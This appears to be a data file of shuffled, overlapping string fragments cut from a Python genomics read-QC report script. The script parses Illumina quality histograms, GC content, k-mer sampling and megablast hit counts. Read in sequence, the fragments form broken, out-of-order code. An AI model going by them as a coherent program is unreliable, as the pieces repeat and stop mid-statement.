"## wc the top hits ## topHit = 0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\"", "Q15_seen = 0 Q10_seen = 0 Q5_seen = 0 if os.path.isfile(qhistTxtFullPath): stats =", "107573 77148 97953 88998 7029 378701 # ## 3 378701 2 34 7131741", "exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (tophitFile),", "for l in allLines[::-1]: l = l.strip() ## ## obqhist file format example", "is 0 . Read quality values are ZERO.\") log.debug(\"Q30 %s, Q25 %s, Q20", "int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" + db, spe, log) ## ## wc", "34 104668 72341 80992 120700 0 378701 # ## 4 378701 2 37", "run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (parsedFile), True, log)", "float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer = float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] =", "statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen == 0 and Q10_seen", "> 15 and Q20_seen == 0: Q20_seen = 1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20]", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg == 10: Q10_seen = 1 statsPerc[10]", "0 Q5_seen = 0 if os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0, 20:0, 15:0, 10:0,", "0 and Q20_seen != 0: Q15_seen = 1 statsPerc[15] = statsPerc[20] statsBase[15] =", "+ \" \" + db, hitCount, log) ## ## add .parsed file ##", "= cummlatPer elif qavg <= 10 and qavg > 5 and Q10_seen ==", "Returns : SUCCESS FAILURE Comments : \"\"\" def read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"]", "\"\"\" import os import sys ## custom libs in \"../lib/\" srcDir = os.path.dirname(__file__)", "\"\"\" Title : q20_score Function : this method returns Q20 using a qrpt", "12447306 32.87 31 34 34 3 27 34 108573 83917 81999 104127 85", "# 2 0 0.00000 # 3 0 0.00000 # 4 0 0.00000 #", "% (parsedFile), True, log) if exitCode == 0: ## if parsed file found.", "add tophit file ## tophitFound, _, exitCode = run_sh_command(\"ls %s\" % (tophitFile), True,", "sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args : 1) A reference to an JGI_Analysis", "num == 1: # continue # # ############## # ## Old format #", "them into database. Usage : read_gc_mean($analysis) Args : 1) A reference to an", "in base_level_qual_stats: %s %s %s %s\" % (l, qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats():", "% (top100hitFile), True, log) t = species.split() if len(t) == 1 and t[0].isdigit():", "results: %s, %s\" % (histFile, line)) retCode = RQCExitCodes.JGI_FAILURE else: toks = line.split()", "= cummlatBase if Q10_seen == 0 and Q15_seen != 0: Q10_seen = 1", "Function : Generate qual scores and plots of read level QC Usage :", "if os.path.isfile(bqHist): with open(bqHist, \"r\") as qrptFH: for l in qrptFH: if l.startswith('#'):", "only need the first line # Ex) #Found 1086 total values totalling 420.3971.", "max_1 mean_1 Q1_1 med_1 Q3_1 LW_1 RW_1 count_2 min_2 max_2 mean_2 Q1_2 med_2", "pos else: log.error(\"- bqHist file not found: %s\" % (bqHist)) return None return", "breaks 2016-09-07 #assert len(t) == 5 totalMers = int(t[0]) ## new by bbcountunique", "= stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen == 0 and Q25_seen != 0:", "Q15_seen != 0: Q10_seen = 1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if", "== 3 qavg = int(t[0]) percent = float(t[2]) * 100.0 ## 20140826 Changed", "utf-8 -*- \"\"\" Readqc report: record stat key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created:", "0.112691> if len(line) == 0 or not line.startswith(\"#Found\"): log.error(\"- GC content hist text", "if l.startswith('#'): continue ## New data # 0 1 2 3 4 5", "0 0.00000 # 6 0 0.00000 if len(l) > 0: if l.startswith(\"#\"): if", "% and its standard deviation and put them into database. Usage : read_gc_mean($analysis)", "function generates tophit list of megablast against different databases. Usage : read_megablast_hits(db_name, log)", "0: Q5_seen = 1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double check", "log.error(\"- qhist file not found: %s\" % (dataFile)) return retCode \"\"\" Title :", "cummlatBase if Q10_seen == 0 and Q15_seen != 0: Q10_seen = 1 statsPerc[10]", "Comments : \"\"\" def read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath", "% (parsedFile), True, log) if parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \"", "+ db, hitCount, log) ## ## add .parsed file ## parsedFileFound, _, exitCode", "contains right results: %s, %s\" % (histFile, line)) retCode = RQCExitCodes.JGI_FAILURE else: toks", "Q10_seen != 0: Q5_seen = 1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if", "(bqHist)) return None return q20 \"\"\" Title : read_level_qual_stats Function : Generate qual", "## top100hits = 0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species, _, exitCode", "log) ## ## wc the top 100 hit ## top100hits = 0 top100hitFile", "!= 0: Q20_seen = 1 statsPerc[20] = statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] =", "script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer = 0 cummlatBase = 0 statsPerc", "68297 78020 117740 58 378701 # ## # ## or # ## #", "l in allLines[::-1]: l = l.strip() ## ## obqhist file format example ##", "l.startswith('#'): continue t = l.split() assert len(t) == 3 qavg = int(t[0]) percent", "successfully generated. JGI_FAILURE: Illumina read level report could not be generated. Comments :", "% (cummlatPer)) if cummlatPer > 100: cummlatPer = 100.0 ## RQC-621 cummlatBase +=", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen == 0 and Q25_seen != 0: Q20_seen", "## ## Find and add top100hit file ## top100hitFound, _, exitCode = run_sh_command(\"ls", "lines[-1].split('\\t') # breaks 2016-09-07 #assert len(t) == 5 totalMers = int(t[0]) ## new", "if qavg == 30: Q30_seen = 1 statsPerc[30] = cummlatPer statsBase[30] = cummlatBase", "stat key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013 sulsj (<EMAIL>) \"\"\"", "Generate qual scores and plots of read level QC Usage : base_level_qual_stats($analysis, $)", "| wc -l \" % (top100hitFile), True, log) t = species.split() if len(t)", "26.96 25 33 35 10 10 37 98021 90611 89040 101029 0 378701", "not found: %s\" % (histFile)) return retCode, mean, stdev if __name__ == \"__main__\":", "112178 83555 84449 98519 0 378701 # ## 3 378701 2 34 12519460", "# 0 77098 0.00043 # 1 0 0.00000 # 2 0 0.00000 #", "%s %s %s\" % (qavg, nbase, percent)) cummlatPer += percent * 100.0 cummlatPer", "(db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats Function : Generate qual scores and", "file not found: %s\" % (qrpt)) # return None # # # return", "cummlatPer ### Double check that no value is missing. if Q25_seen == 0", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen == 0 and Q20_seen != 0: Q15_seen =", "processing script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer = 0.0", "= 1 stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg <= 20 and", "ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" + db, os.path.join(megablastPath, top100hitFound), log) else: log.error(\"- Failed to", "if mean < 20: return pos - 1 else: q20 = pos else:", "import append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits", "= cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double", "parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings, _, exitCode = run_sh_command(\"grep -v '^#'", "2013 sulsj (<EMAIL>) \"\"\" import os import sys ## custom libs in \"../lib/\"", "int(t[0]) + 1 if readNum == 1: mean = float(t[4]) else: mean =", "l in qrptFH: if l.startswith('#'): continue ## New data # 0 1 2", "and Q10_seen != 0: Q5_seen = 1 statsPerc[5] = statsPerc[10] statsBase[5] = statsBase[10]", "stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" % (qhistTxtFullPath))", "file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast hits for", "# # pos = None # mean = None # t = l.split(\"\\t\")", "topHit, log) ## ## wc the taxonomic species ## spe = 0 taxlistFile", "'../tools')) ## rqc-pipeline/tools from readqc_constants import RQCReadQcConfig, ReadqcStats from rqc_constants import RQCExitCodes from", "Q15_seen = 1 statsPerc[15] = statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15]", "Q10_seen == 0: Q10_seen = 1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif", "37 10208226 26.96 25 33 35 10 10 37 98021 90611 89040 101029", "0 378701 # # pos = None # mean = None # t", "working folder wkdir/qual Returns : JGI_SUCCESS: Illumina read level report could be successfully", "34 34 29 36 pos = None mean = None t = l.split(\"\\t\")", "average GC content % and its standard deviation and put them into database.", "= 0.0 retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile, \"r\") as histFH: line", "Q20_seen == 0 and Q25_seen != 0: Q20_seen = 1 statsPerc[20] = statsPerc[25]", "ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" + db, top100hits, log) ## ## Find and add", "l.split(\"\\t\") # assert len(t) > 6 # pos = int(t[0]) # mean =", "# t = l.split(\"\\t\") # assert len(t) > 6 # pos = int(t[0])", "with open(histFile, \"r\") as histFH: line = histFH.readline() ## we only need the", "read_level_qual_stats($analysis, $) Args : 1) A reference to an JGI_Analysis object 2) current", "76.088 16600 19022 #50000 52.148 59.480 13037 14870 #75000 46.592 53.444 11648 13361", "read level data processing script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE", "Q5_seen = 1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double check that", "## 3 378701 2 34 12519460 33.06 33 34 34 1 32 34", "if len(l) > 0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"):", "run_sh_command(\"ls %s\" % (taxlistFile), True, log) taxListFound = taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg == 10: Q10_seen = 1", "2500 0.1 9704 0.3882 ## New data #count first rand first_cnt rand_cnt #", "= float(t[2]) except IndexError: log.warn(\"parse error in base_level_qual_stats: %s %s %s %s\" %", "# # return q20 def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist file = %s\"", "qrptFH: if l.startswith('#'): continue ## New data # 0 1 2 3 4", "91355 0 378701 # ## 4 378701 2 37 9686653 25.58 19 32", "== 1 and t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" +", "2 378701 2 34 6543224 17.28 15 16 26 11 2 34 107573", "not found: %s\" % (dataFile)) return retCode \"\"\" Title : base_level_qual_stats Function :", "species.split() if len(t) == 1 and t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS +", "of read level 20mer sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args : 1) A", "current working folder wkdir/qual Returns : JGI_SUCCESS: Illumina read level report could be", "= 1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if Q30_seen == 0: log.error(\"Q30", "\\ (stats[30], stats[25], stats[20], stats[15], stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg == 5: Q5_seen = 1 statsPerc[5]", "105956 0 378701 # ## 2 378701 2 34 6543224 17.28 15 16", "14870 #75000 46.592 53.444 11648 13361 #100000 43.072 49.184 10768 12296 ... if", "wc the top hits ## topHit = 0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" %", "True, log) t = species.split() if len(t) == 1 and t[0].isdigit(): spe =", "in \"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib", "15 and Q20_seen == 0: Q20_seen = 1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] =", "q20 = None # num = 0 # # if os.path.isfile(qrpt): # with", "T_Count N_Count Max_count # ## 1 378701 2 34 8875097 23.44 25 26", "#50000 52.148 59.480 13037 14870 #75000 46.592 53.444 11648 13361 #100000 43.072 49.184", "parsed file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## wc the top", "# 0 1 2 3 4 #25000 66.400 76.088 16600 19022 #50000 52.148", "float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode", "0.00000 #5 0 0.00000 #6 0 0.00000 allLines = open(reformatObqhistFile).readlines() for l in", "$_[0] : qrpt file. Returns : a number of Q20 score Comments :", "generated. Comments : This function is intended to be called at the very", "Q15_seen == 0 and Q20_seen != 0: Q15_seen = 1 stats[15] = stats[20]", "pos = None # mean = None # t = l.split(\"\\t\") # assert", "% (dataFile)) return retCode \"\"\" Title : base_level_qual_stats Function : Generate qual scores", ": Generate qual scores and plots of read level QC Usage : read_level_qual_stats($analysis,", "pos: if mean < 20: return pos - 1 else: q20 = pos", "378701 # ## 4 378701 2 37 13807944 36.46 37 37 37 0", "is 0. Base quality values are ZERO.\") log.debug(\"Q and C values: %s\" %", "at the very end of the illumina read level data processing script. \"\"\"", "| wc -l \" % (tophitFile), True, log) t = tophits.split() if len(t)", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg == 15: Q15_seen = 1 statsPerc[15]", "cummlatBase ## Double check that no value is missing. if Q25_seen == 0", "1 statsPerc[20] = statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase", "(mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist file not found: %s\"", "0.00000 # 3 0 0.00000 # 4 0 0.00000 # 5 0 0.00000", "## RQC-621 cummlatBase += nbase if qavg == 30: Q30_seen = 1 statsPerc[30]", "else: mean = float(t[13]) if mean and pos: if mean < 20: return", "from common import append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title", "else: log.error(\"- Failed to add megablast top100hit file of %s.\" % (db)) return", "46 378701 # ## 5 378701 2 37 13790443 36.42 37 37 37", "\" + db, os.path.join(megablastPath, taxListFound), log) else: log.error(\"- Failed to add megablast taxlist", "No blast hits for %s.\" % (db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats", "+ \" \" + db, spe, log) ## ## wc the top 100", "== 0 and Q15_seen != 0: Q10_seen = 1 statsPerc[10] = statsPerc[15] statsBase[10]", "qual scores and plots of read level QC Usage : read_level_qual_stats($analysis, $) Args", "20140826 Changed for bbtools cummlatPer = cummlatPer + percent cummlatPer = float(\"%.2f\" %", "return pos - 1 # else: # q20 = pos # # else:", "qhist file not found: %s\" % (qrpt)) # return None # # #", "#Quality bases fraction # 0 77098 0.00043 # 1 0 0.00000 # 2", "file not found: %s\" % (qhistTxtFullPath)) return retCode \"\"\" Title : read_gc_mean Function", "# if mean and pos: # if mean < 20: # return pos", "Q10_seen = 1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg <= 5", "\" \" + db, spe, log) ## ## wc the top 100 hit", "log) tophitFound = tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" + db,", "no value is missing. if Q25_seen == 0 and Q30_seen != 0: Q25_seen", "statsPerc[15] = cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif", "10 2 34 96452 83003 107891 91355 0 378701 # ## 4 378701", "Q10_seen == 0 and Q15_seen != 0: Q10_seen = 1 statsPerc[10] = statsPerc[15]", "= tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" + db, os.path.join(megablastPath, tophitFound),", "%s\" % (qrpt)) # # q20 = None # num = 0 #", "spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" + db, spe, log) ##", "##STDev 4.631 ##Mean_30 37.823 ##STDev_30 1.699 ##Quality bases fraction #0 159 0.00008 #1", "be successfully generated. JGI_FAILURE: Illumina read level report could not be generated. Comments", "report could be successfully generated. JGI_FAILURE: Illumina read level report could not be", "> 10 and Q15_seen == 0: Q15_seen = 1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15]", "% (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode =", "= l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif", "2 34 12515957 33.05 33 34 34 1 32 34 112178 83555 84449", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\"", "81999 104127 85 378701 # ## 2 378701 2 34 12515957 33.05 33", "ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" + db, os.path.join(megablastPath, taxListFound), log) else: log.error(\"- Failed to", "LW_1 RW_1 count_2 min_2 max_2 mean_2 Q1_2 med_2 Q3_2 LW_2 RW_2 # 0", "stats[15], stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\"", "%.2f, %.2f\" % (mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist file", "= float(t[4]) else: mean = float(t[13]) if mean and pos: if mean <", "read_level_qual_stats Function : Generate qual scores and plots of read level 20mer sampling", "== 0 or not line.startswith(\"#Found\"): log.error(\"- GC content hist text file does not", "# return None # # # return q20 def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new():", "% (db)) species, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc", "0 Q15_seen = 0 Q10_seen = 0 Q5_seen = 0 if os.path.isfile(qhistTxtFullPath): stats", "stdev = float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev = %.2f, %.2f\" % (mean, stdev))", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen == 0 and Q20_seen != 0: Q15_seen", "\" % (top100hitFile), True, log) t = species.split() if len(t) == 1 and", "A_Count C_Count G_Count T_Count N_Count Max_count # ## 1 378701 2 34 12447306", "def read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath = os.path.join(currentDir, megablastDir)", "= 1 statsPerc[25] = cummlatPer statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] =", "10 11 12 13 14 15 16 17 18 ##BaseNum count_1 min_1 max_1", "add megablast parsed file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## wc", "to add megablast taxlist file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ##", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen == 0: log.error(\"Q30 is 0. Base quality", "(db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add tophit file ## tophitFound, _,", "= open(qhistTxtFullPath).readlines() for l in allLines[::-1]: if not l: break if l.startswith('#'): continue", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg == 25: Q25_seen = 1 statsPerc[25] =", "Old format # ## READ1.qrpt # ## column count min max sum mean", "0.00008 #1 0 0.00000 #2 12175 0.00593 #3 0 0.00000 #4 0 0.00000", "0 Q10_seen = 0 Q5_seen = 0 ## New format ##Median 38 ##Mean", "66.400 76.088 16600 19022 #50000 52.148 59.480 13037 14870 #75000 46.592 53.444 11648", "Q10_seen = 1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen == 0", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg <= 15 and qavg > 10", "1 2 3 4 #25000 66.400 76.088 16600 19022 #50000 52.148 59.480 13037", "read_level_mer_sampling($analysis, $summary_file_dir) Args : 1) A reference to an JGI_Analysis object 2) current", "not line.startswith(\"#Found\"): log.error(\"- GC content hist text file does not contains right results:", "(db)) tophits, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l", "quality values are ZERO.\") log.debug(\"Q30 %s, Q25 %s, Q20 %s, Q15 %s, Q10", "file ## parsedFileFound, _, exitCode = run_sh_command(\"ls %s\" % (parsedFile), True, log) if", "sys ## custom libs in \"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools", "= cummlatBase ## Double check that no value is missing. if Q25_seen ==", "25:0, 20:0, 15:0, 10:0, 5:0} statsBase = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0}", "if Q25_seen == 0 and Q30_seen != 0: Q25_seen = 1 stats[25] =", "## topHit = 0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _, exitCode", ": a number of Q20 score Comments : \"\"\" # def q20_score(qrpt, log):", "1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen == 0 and Q25_seen", "> 100: cummlatPer = 100.0 ## RQC-621 cummlatBase += nbase if qavg ==", "0.00043 # 1 0 0.00000 # 2 0 0.00000 # 3 0 0.00000", "megablastPath = os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ## Process", "\"r\") as qrptFH: # for l in qrptFH: # num += 1 #", "log) ## ## Find and add taxlist file ## taxListFound, _, exitCode =", "= 0 Q10_seen = 0 Q5_seen = 0 ## New format ##Median 38", "fraction #0 159 0.00008 #1 0 0.00000 #2 12175 0.00593 #3 0 0.00000", "Read quality values are ZERO.\") log.debug(\"Q30 %s, Q25 %s, Q20 %s, Q15 %s,", "# ## READ2.qrpt # ## column count min max sum mean Q1 med", "object 2) current working folder wkdir/uniqueness Returns : JGI_SUCCESS: Illumina read level report", "example ## # #Median 36 # #Mean 33.298 # #STDev 5.890 # #Mean_30", "int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" + db, hitCount, log) ## ## add", "l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg", "top 100 hit ## top100hits = 0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db))", "if os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} allLines = open(qhistTxtFullPath).readlines()", "return q20 def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist file = %s\" % (bqHist))", "1 2 3 4 5 6 7 8 9 10 11 12 13", "- 1 else: q20 = pos else: log.error(\"- bqHist file not found: %s\"", "log) ## ## add .parsed file ## parsedFileFound, _, exitCode = run_sh_command(\"ls %s\"", "found. t = matchings.split() if len(t) == 1 and t[0].isdigit(): hitCount = int(t[0])", "% (qrpt)) # return None # # # return q20 def q20_score_new(bqHist, readNum,", "(db)) species, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l", "rW A_Count C_Count G_Count T_Count N_Count Max_count # ## 1 378701 2 34", "called at the very end of the illumina read level data processing script.", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double check that no value is missing. if Q25_seen", "0 . Read quality values are ZERO.\") log.debug(\"Q30 %s, Q25 %s, Q20 %s,", "stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen == 0 and Q20_seen !=", "format example ## # #Median 36 # #Mean 33.298 # #STDev 5.890 #", "qrptFH: # num += 1 # # if num == 1: # continue", "parsedFileFound), log) else: log.error(\"- Failed to add megablast parsed file of %s.\" %", "(db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add top100hit file ## top100hitFound, _,", "#3 0 0.00000 #4 0 0.00000 #5 0 0.00000 #6 0 0.00000 allLines", "1 and t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" + db,", "float(t[13]) if mean and pos: if mean < 20: return pos - 1", "of the illumina read level data processing script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log):", "4 ##25000 2500 0.1 9704 0.3882 ## New data #count first rand first_cnt", "t = species.split() if len(t) == 1 and t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile,", "ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" + db, os.path.join(megablastPath, tophitFound), log) else: log.error(\"- Failed to", "very end of the illumina read level data processing script. \"\"\" def read_level_qual_stats(dataToRecordDict,", "* 100.0 ## 20140826 Changed for bbtools cummlatPer = cummlatPer + percent cummlatPer", "= float(\"%.f\" % (cummlatPer)) if cummlatPer > 100: cummlatPer = 100.0 ## RQC-621", "= None # num = 0 # # if os.path.isfile(qrpt): # with open(qrpt,", "stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg <= 20 and qavg >", "cummlatPer = cummlatPer + percent cummlatPer = float(\"%.2f\" % cummlatPer) if qavg <=", "% (qrpt)) # # q20 = None # num = 0 # #", "l in allLines[::-1]: if not l: break if l.startswith('#'): continue t = l.split()", "log.debug(\"q20_score_new(): bqHist file = %s\" % (bqHist)) q20 = None if os.path.isfile(bqHist): with", "0: Q5_seen = 1 statsPerc[5] = statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer", "= os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _, exitCode = run_sh_command(\"grep -v '^#' %s", "!= 0: Q15_seen = 1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if 